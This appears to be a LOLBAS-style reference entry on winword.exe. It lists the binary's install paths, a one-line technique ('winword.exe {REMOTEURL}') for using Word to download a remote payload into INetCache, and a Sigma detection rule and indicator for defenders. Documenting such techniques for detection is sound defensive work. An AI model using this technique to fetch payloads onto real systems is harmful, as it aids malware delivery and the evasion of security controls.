Winword.exe
Microsoft Office binary
Full path
C:\Program Files\Microsoft Office\root\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\winword.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office\Office16\winword.exe
C:\Program Files\Microsoft Office\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\winword.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\winword.exe
C:\Program Files (x86)\Microsoft Office\Office15\winword.exe
C:\Program Files\Microsoft Office\Office15\winword.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\winword.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\winword.exe
C:\Program Files (x86)\Microsoft Office\Office14\winword.exe
C:\Program Files\Microsoft Office\Office14\winword.exe
C:\Program Files (x86)\Microsoft Office\Office12\winword.exe
C:\Program Files\Microsoft Office\Office12\winword.exe
C:\Program Files\Microsoft Office\Office12\winword.exeCommands
It will download a remote payload and place it in INetCache.
winword.exe {REMOTEURL}Downloads payload from remote server
os: Windows
Detection
- Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_office_arbitrary_cli_download.yml
- IOCSuspicious Office application Internet/network traffic
Resources
acknowledgement: Reegun J (OCBC Bank) @reegun21